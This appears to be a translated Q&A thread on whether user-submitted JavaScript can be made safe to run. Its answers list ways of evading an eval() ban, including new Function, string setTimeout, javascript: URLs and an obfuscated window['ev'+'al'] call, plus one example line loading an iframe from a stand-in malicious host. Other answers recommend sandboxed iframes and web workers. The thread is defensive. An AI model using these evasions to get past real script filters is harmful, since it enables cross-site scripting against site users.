How can I make external code 'safe' to run

问题:

I'd like to be able to allow community members to supply their own javascript code for others to use, because the users' imaginations are collectively far greater than anything I could think of.

But this raises the inherent question of security, particularly when the purpose is to allow external code to run.

So, can I just ban eval() from submissions and be done with it? Or are there other ways to evaluate code or cause mass panic in javascript?

There are other things to disallow, but my main concern is that unless I can prevent strings being executed, whatever other filters I put in for specific methods can be circumvented. Doable, or do I have to resort to demanding the author supplies a web service interface?

回答1:

Or are there other ways to evaluate code

You can't filter out calls to eval() at a script-parsing level because JavaScript is a Turing-complete language in which it is possible to obfuscate calls. eg. see svinto's workaround. You could hide window.eval by overwriting it with a null value, but there are indeed other ways to evaluate code, including (just off the top of my head):

• new Function('code')()
• document.write('%3Cscript>code%3C/script>')
• document.createElement('script').appendChild(document.createTextNode('code'))
• window.setTimeout('code', 0);
• window.open(...).eval('code')
• location.href='javascript:code'
• in IE, style/node.setExpression('someproperty', 'code')
• in some browsers, node.onsomeevent= 'code';
• in older browsers, Object.prototype.eval('code')

or cause mass panic in javascript?

Well createElement('iframe').src='http​://evil.iframeexploitz.ru/aff=2345' is one of the worse attacks you can expect... but really, when a script has control, it can do anything a user can on your site. It can make them post “I'm a big old paedophile!” a thousand times on your forums and then delete their own account. For example.

do I have to resort to demanding the author supplies a web service interface?

Yes, or:

• do nothing and let users who want this functionality download GreaseMonkey
• vet every script submission yourself
• use your own (potentially JavaScript-like) mini-language over which you actually have control

an example of the latter that may interest you is Google Caja. I'm not entirely sure I'd trust it; it's a hard job and they've certainly had some security holes so far, but it's about the best there is if you really must take this approach.

回答2:

Since HTML5 has now become available you can use a sandbox for untrusted JavaScript code.

The OWASP HTML5 Security Cheat Sheet comments on Sandboxed frames:

• Use the sandbox attribute of an iframe for untrusted content.

• The sandbox attribute of an iframe enables restrictions on content within a iframe. The following restrictions are active when the sandbox attribute is set:

  1. All markup is treated as being from a unique origin.

  2. All forms and scripts are disabled.

  3. All links are prevented from targeting other browsing contexts.
  4. All features that triggers automatically are blocked.

  5. All plugins are disabled.

     It is possible to have a fine-grained control over iframe capabilities using the value of the sandbox attribute.

• In old versions of user agents where this feature is not supported, this attribute will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.

• Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header X-Frame-Options which supports the deny and same-origin values. Other solutions like framebusting if(window!== window.top) { window.top.location = location; } are not recommended.

You can allow scripts to run while keeping the other restrictions in place. However, you should make sure that scripts run from a different domain than your main content in order to prevent XSS attacks by an attacker redirecting a user to load the page directly (i.e. not via your IFrame).

This will restrict scripts from using eval to attack your main domain, but it may be that this would also prevent the scripts from actually being powerful enough for your needs. Any interaction with your main domain would have to be via Window.postMessage. If this is too restrictive then @bobince's answer still has the best suggestions for workarounds.

Please see my other answer for details of how a sandbox can be safely implemented.

回答3:

There really isn't any way that allowing arbitrary Javascript execution can be safe. Realistically, any sort of filtration you provide to prevent malicious code would strip out legitimate code that accesses similar functions or data. I don't think that what you're looking to do is feasible in this way.

回答4:

No, you practically can't prevent user provided Javascript code to run whatever it wants - even disallowing eval() can't prevent it to run arbitrary programs (it could be a Javascript interpreter itself, in which case it just implements the eval() function, and many other ways - eg. it can add HTML with some event handlers in string form, then execute them, it can document.write() a new script etc.).

If your site doesn't need this user supplied JS to run on other users' computers, I'd just put a big fat warning, add some human control (that could flag rogue code as such), maybe some antivirus software on the server (don't know much about that).

回答5:

Filtering out eval probably doesn't work. I imagine that you could hack round it like this: window['ev' + 'al']('alert("hello world");');. You could of course replace the eval function...

回答6:

You need to execute the untrusted code in a sandboxed environment. This means creating an iframe with the sandbox attribute (see this article), and additionally create a web-worker inside that frame (so that the code runs in a separate thread and does not hang up the UI in case if user has submitted something strange).

If you need to interact somehow with the code sandboxed in the described way, the messaging mechanism can be used. This is a bit tricky, but there are some libraries simplifying the task, including one created by myself: https://github.com/asvd/jailed